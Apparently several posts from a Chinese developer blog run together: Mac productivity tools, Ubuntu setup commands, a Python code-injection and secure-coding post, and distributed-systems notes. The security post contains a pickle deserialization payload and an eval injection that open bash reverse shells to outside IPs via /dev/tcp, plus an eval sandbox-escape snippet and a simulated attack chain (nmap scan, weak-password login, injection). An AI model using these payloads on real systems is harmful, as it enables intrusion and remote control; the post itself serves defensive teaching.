0%

这篇文章主要介绍Mac下常用的效率工具,也许正是你所需要的或者使用后对你的工作有很大的效率提升,废话不多说,看下面介绍的五款常用效率工具。

Alfred

Alfred

Alfred 作为神器的霸主地位可谓实至名归,它不仅可以帮我们快速打开切换应用、打开网址,使用计算器、词典、剪贴板增强等功能,还可以通过Workflow模块实现功能的扩展,下面详细介绍一下此神器的一些功能。

首先我们定义调出 Alfred 的快捷键,这里我设置的是 Command + Space ,可以启动输入框。

Alfred

在输入框中我们可以输入想要打开或切换的应用:

Alfred

也可以输入基本的数学公式,计算结果:

Alfred

或者去 Google 搜索:

Alfred

打开 Terminal 执行命令:

Alfred

在 Web Search 中配置自定义打开的网址:

Alfred

调出剪贴板历史,我设置的快捷键是 Option + Command + C:

Alfred

默认回车会执行第一个结果,或打开网址,或将结果复制到剪贴板,这样可以极大地提高我们操作的效率。

当然这些默认的功能是不能够满足我们的,还可以通过 Worklow 去扩展效率工具,这里是自己做的一个效率工具箱 xyzUtils :

Alfred

Github 地址: https://github.com/noogel/Alfred-Workflow

这里我做了一些开发中常用的数据转换功能,时间戳与时间的互相转换、Unicode码中文转换、随机字符串生成、IP查询、base64编码解码、MD5生成等,回车复制结果到剪贴板,举例如下:

Alfred

网友们还提供了更多的 自定义功能,可自行知乎。

Jietu

Jietu

这个是腾讯提供的免费截图工具,可进行区域截图或者屏幕录制功能,可以快捷编辑截图,也是我常用的一个神器。配置信息如下图:

Jietu

截好图后可以按 空格键 进行快速编辑,很是方便,截图后会自动放到剪贴板,可直接粘贴到微信、QQ、Slack等应用的对话框中。

Jietu

Hammerspoon

Hammerspoon

这款神器和上面的 Alfred 功能点有些重合,可以提供快速启动应用、调整窗口大小等功能。通过自定义 Lua 脚本实现所需的功能,这些功能主要通过绑定快捷键实现功能出发,当然也会绑定一些系统事件触发脚本功能。

目前在网上搜集了一些基本功能,调整窗口比例,连接到办公区网络自动静音等功能。

Hammerspoon

Time Out

Time Out

这款工具主要是可以帮助久用电脑的人每隔一段时间暂停一下,我这里设置的每隔 50分钟暂停 3分钟,就是在这 3分钟时间这个软件会弹出屏保提醒你稍事休息一下再工作,当然暂停期间是可以随之取消的,暂停的时候就是这个样子的。

Time Out

Reeder

这是一款 Mac 上知名度很高的 RSS 阅读器,简洁的外观与便捷的操作方式可以省去了去个站点看文章。结合Mac 触控板的左右滑动操作还是很方便的。

Reeder

Reeder

最后,来还有一些常用效率工具会在在后面的文章继续介绍,或许正是你所需要的,敬请期待!

开发工程师常用工具箱

全局预览

1

支持的命令

2

  • ntime 时间戳转换,支持标准时间格式与时间戳自动检测转换,回车复制结果到剪贴板
  • nb64d Base64 解码
  • nb64e Base64 编码
  • nmd5 MD5 生成
  • ncny 数字转人民币大写
  • nu2c Unicode 码转中文
  • nc2u 中文转 Unicode 码
  • nip IP 地址查询
  • nrdm 随机字符串生成,输入长度
  • nhelp 列出所有支持的命令

欢迎大家补充。

个人博客

知一的指纹

Github

Noogel’s github Alfred-Workflow

Update at 2017-08-17

先上两张桌面和开发环境见下图
桌面
开发环境

系统优化

更新源

更新前先设置源为aliyun的,国内访问速度快。

更新源

1
2
sudo apt-get update
sudo apt-get upgrade

删除Amazon的链接

1
sudo apt-get remove unity-webapps-common

主题美化

先装 Unity 图形管理工具

1
sudo apt-get install unity-tweak-tool

然后安装 Flatabulous 主题

1
2
3
sudo add-apt-repository ppa:noobslab/themes
sudo apt-get update
sudo apt-get install flatabulous-theme

和配套图标

1
2
3
sudo add-apt-repository ppa:noobslab/icons
sudo apt-get update
sudo apt-get install ultra-flat-icons

更换操作如下图:


至此主题美化完成

System Load Indicator(系统状态指示器)

1
2
3
sudo add-apt-repository ppa:indicator-multiload/stable-daily
sudo apt-get update
sudo apt-get install indicator-multiload

微软雅黑

字体下载

1
2
3
tar zxvf YaHeiConsolas.tar.gz
sudo mv YaHeiConsolas.ttf /usr/share/fonts
sudo chmod 755 /usr/share/fonts/YaHeiConsolas.ttf

安装zsh

1
2
3
sudo apt-get install zsh
zsh --version
sudo chsh -s $(which zsh)

然后再重新注销登录就好了

必装软件

下面介绍的软件有一部分是通过 deb 文件安装的,具体安装方式见 系统使用技巧。

系统软件

  • 浏览器: Chrome
  • 搜狗输入法: sougoupinyin
  • 为知笔记: wiznote
  • 系统状态指示器: System Load Indicator
  • SS你懂得: Shadowsocks-Qt5
  • Unity图形管理工具: unity tweak tool
  • 图片编辑工具: gimp
  • 思维导图: xmind
  • EPUB文件编辑: sigil
  • Linux下的Dash: zeal
  • Linux下Albert: albert
  • 网易云音乐播放器
  • Robomongo

数据库及工具

  • mysql
  • mongodb
  • redis
  • MySQL Workbench

开发环境

  • Python IDE: Pycharm

命令行工具

  • zsh
  • oh-my-zsh
  • vim
  • git

系统使用技巧

DEB软件安装

  • 安装命令

sudo dpkg -i xxx.deb

  • 安装过程中可能会报缺少依赖的错,执行下面命令自动安装依赖

sudo apt-get install -f

  • 再次执行安装命令

sudo dpkg -i xxx.deb

卸载不再依赖的包 命令

sudo apt-get autoremove

未完待续,欢迎大家发送你的优化点到我的邮箱 noogel@163.com

什么是代码注入

代码注入攻击指的是任何允许攻击者在网络应用程序中注入源代码,从而得到解读和执行的方法。

###Python中常见代码注入
能够执行一行任意字符串形式代码的eval()函数

1
>>> eval("__import__('os').system('uname -a')")

能够执行字符串形式代码块的exec()函数

1
>>> exec("__import__('os').system('uname -a')")

反序列化一个pickled对象时

1
>>> pickle.loads("cposix\nsystem\np0\n(S'uname -a'\np1\ntp2\nRp3\n.")

执行一个Python文件

1
>>> execfile("testf.py")

pickle.loads()代码注入
某不安全的用法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def load_session(self, session_id=None):
if not session_id:
session_id = self.gen_session_id()
session = Session(session_id, self)
else:
try:
data = self.backend.get(session_id)
if data:
data = pickle.loads(data)
assert type(data) == dict
else:
data = {}
except:
data = {}
session = Session(session_id, self, data)
return session

注入的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
>>> import os
>>> import pickle
>>> class exp(object):
... def __reduce__(self):
... s = "/bin/bash -c \"/bin/bash -i > \/dev/tcp/192.168.42.62/12345 0<&1 2>&1 &\""
... return (os.system, (s,))
...
>>> e = exp()
>>> e
<__main__.exp object at 0x7f734afa8790>
>>> k = pickle.dumps(e)
'cposix\nsystem\np0\n(S\'/bin/bash -c "/bin/bash -i > \\\\/dev/tcp/192.168.42.62/12345 0<&1 2>&1 &"\'\np1\ntp2\nRp3\n.'

>>> pickle.loads(k)
0
>>>
[3]+ Stopped python

这些函数使用不当都很危险

os.system
os.popen*
os.spawn*
os.exec*
os.open
os.popen*
commands.*
subprocess.popen
popen2.*

一次模拟的实践

通过这次实践发现系统中的诸多安全薄弱的环节,执行流程如下:

  1. nmap扫描IPnmap -v -A *.*.*.* -p 1-65535,通过nmap扫描后会发现公开的服务。
  2. 暴力破解登录名密码test 123,弱口令登陆系统。这个地方的薄弱点在于开发过程中容易留下便于程序员测试后门或若口令。
  3. 成功登陆系统后寻找代码注入点,通过成功找到注入点后可执行代码注入通过反向shell连接服务器提权eval("__import__('os').system('/bin/bash -c \"/bin/bash -i > /dev/tcp/10.10.10.130/12345 0<&1 2>&1 &\"')")

todo 第三步在整个系统中发现了两个可进行代码注入的漏洞,第一个为pickl反序列化用户登录信息的时候没有做校验,这样当对应的存储介质(memcache、redis)没有开启登录认证并且暴漏在公网中很容易注入代码。第二个为在系统中一些配置直接使用eval函数执行配置中的Python代码进行注入。
todo 反向shell介绍

如何安全编码

  1. 严格控制输入,过滤所有危险模块,遇到非法字符直接返回。
  2. 使用ast.literal_eval()代替eval()
  3. 安全使用pickle

下面就着几个点来说一下:

eval()方法注释:

1
2
eval(source[, globals[, locals]]) -> value
Evaluate the source in the context of globals and locals. The source may be a string representing a Python expression or a code object as returned by compile(). The globals must be a dictionary and locals can be any mapping, defaulting to the current globals and locals. If only globals is given, locals defaults to it.

ast.literal_eval()方法注释:

1
Safely evaluate an expression node or a string containing a Python expression.  The string or node provided may only consist of the following Python literal structures: strings, numbers, tuples, lists, dicts, booleans, and None.

使用ast.literal_eval()代替eval()对比:

1
2
3
4
5
6
7
ast.literal_eval("1+1")  # ValueError: malformed string
ast.literal_eval("[1, 2, 3]") # [1, 2, 3]
ast.literal_eval("{1: 1, 2: 2, 3: 3}") # {1: 1, 2: 2, 3: 3}
ast.literal_eval("__import__('os').system('uname -a')") # ValueError: malformed string
eval("__import__('os').system('uname -a')") # Linux zhangxu-ThinkPad-T450 3.13.0-92-generic #139-Ubuntu SMP Tue Jun 28 20:42:26 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
eval("__import__('os').system('uname -a')", {}, {}) # Linux zhangxu-ThinkPad-T450 3.13.0-92-generic #139-Ubuntu SMP Tue Jun 28 20:42:26 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
eval("__import__('os').system('uname -a')", {"__builtins__": {}}, {}) # NameError: name '__import__' is not defined

eval禁用全局或本地变量:

1
2
3
>>> global_a = "Hello Eval!"
>>> eval("global_a")
>>> eval("global_a", {}, {})

寻找eval的突破点

eval("[c for c in ().__class__.__bases__[0].__subclasses__()]", {'__builtins__':{}})

参考点:

1
2
3
4
5
6
7
8
9
(
lambda fc=(
lambda n: [c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == n][0]
):
fc("function")(
fc("code")(
0, 0, 0, 0, "KABOOM", (), (), (), "", "", 0, ""),
{})()
)()

安全使用pickle

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
>>> import hmac
>>> import hashlib
>>> import pickle
>>> shared_key = '123456'
>>> class Exp(object):
... def __reduce__(self):
... s = "__import__('os').system('uname -a')"
... return (os.system, (s,))
...
>>> e = Exp()
>>> s = pickle.dumps(e)
>>> s
'cposix\nsystem\np0\n(S"__import__(\'os\').system(\'uname -a\')"\np1\ntp2\nRp3\n.'
>>> k = hmac.new(shared_key, s, hashlib.sha1).hexdigest()
>>> k
'20bc7b14ee6d2f8109c0fc0561df3db40203622d'
>>> send_s = k + ' ' + s
>>> send_s
'20bc7b14ee6d2f8109c0fc0561df3db40203622d cposix\nsystem\np0\n(S"__import__(\'os\').system(\'uname -a\')"\np1\ntp2\nRp3\n.'
>>> recv_k, recv_s = send_s.split(' ', 1)
>>> recv_k, recv_s
('20bc7b14ee6d2f8109c0fc0561df3db40203622d', 'cposix\nsystem\np0\n(S"__import__(\'os\').system(\'uname -a\')"\np1\ntp2\nRp3\n.')
>>> new_k = hmac.new(shared_key, recv_s, hashlib.sha1).hexdigest()
>>> new_k
'20bc7b14ee6d2f8109c0fc0561df3db40203622d'
>>> diff_k = hmac.new(shared_key + "123456", recv_s, hashlib.sha1).hexdigest()
>>> diff_k
'381542893003a30d045c5c729713d2aa428128de'
>>>

如何提高安全编码意识?

参考资料

http://www.programcreek.com/python/example/5578/ast.literal_eval
https://segmentfault.com/a/1190000002783940
http://www.yunweipai.com/archives/6540.html
http://blog.csdn.net/chence19871/article/details/32718219
http://coolshell.cn/articles/8711.html
http://stackoverflow.com/questions/15197673/using-pythons-eval-vs-ast-literal-eval
https://www.cigital.com/blog/python-pickling/
https://github.com/greysign/pysec/blob/master/safeeval.py

附录

nmap扫描部分结果

What is nmap?
Nmap (Network Mapper) is a security scanner originally written by Gordon Lyon used to discover hosts and services on a computer network, thus creating a “map” of the network.

-A: Enable OS detection, version detection, script scanning, and traceroute
-v: Increase verbosity level (use -vv or more for greater effect)
-p : Only scan specified ports

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
root@bt:~# nmap -v -A *.*.*.* -p 1-65535 
Starting Nmap 6.25 ( http://nmap.org ) at 2016-07-26 13:30 EDT
......
Not shown: 65527 filtered ports
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn
1723/tcp open pptp Microsoft
8891/tcp open http nginx 1.4.4
9090/tcp closed zeus-admin
13228/tcp open http Microsoft IIS httpd 7.5
14580/tcp closed unknown
36666/tcp open unknown
64380/tcp open unknown
......
Device type: general purpose|storage-misc
Running (JUST GUESSING): Linux 2.4.X (99%), Microsoft Windows 7 (95%), BlueArc embedded (91%)
OS CPE: cpe:/o:linux:linux_kernel:2.4 cpe:/o:microsoft:windows_7:::enterprise cpe:/h:bluearc:titan_2100
Aggressive OS guesses: DD-WRT v24-sp2 (Linux 2.4.37) (99%), Microsoft Windows 7 Enterprise (95%), BlueArc Titan 2100 NAS device (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
......
NSE: Script Post-scanning.
Read data files from: /usr/local/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 895.44 seconds
Raw packets sent: 262711 (11.560MB) | Rcvd: 55220 (2.209MB)

Links:
http://www.cyberciti.biz/networking/nmap-command-examples-tutorials/

反向Shell

http://os.51cto.com/art/201312/424378.htm

性能指标

  1. 吞度量
  2. 响应延迟 P95 P999
  3. 并发量

可用性指标

  1. 可提供的服务时间 / (可提供的服务时间 + 不可提供的服务时间)
  2. 请求成功次数 / 总请求次数

可扩展性指标

是否能实现水平扩展,通过增加服务器数量增加计算能力、存储容量等。

存储系统中有两种扩展方式:
Scale Out(也就是Scale horizontally)横向扩展,比如在原有系统中新增一台服务器。
Scale Up(也就是Scale vertically)纵向扩展,在原有机器上增加 CPU 、内存。

一致性指标

实现多副本之间一致性的能力。不同的应用场景对于数据一致性指标要求不同,需要根据场景做具体的评估。

水平拆分和垂直拆分

ACID

原子性(Atomicity)
一致性(Atomicity)
隔离性(Isolation)
持久性(Durability)

CAP(帽子理论)

一致性(Consistency)
可用性(Availability)
可靠性(Partition tolerance 分区容错性)

BASE

基本可用(Basically Available)
软状态(Soft State)
最终一致(Eventually Consistent)

分布式一致性协议

TX协议
XA协议

两阶段提交协议

三阶段提交协议

TCC

最终一致性模式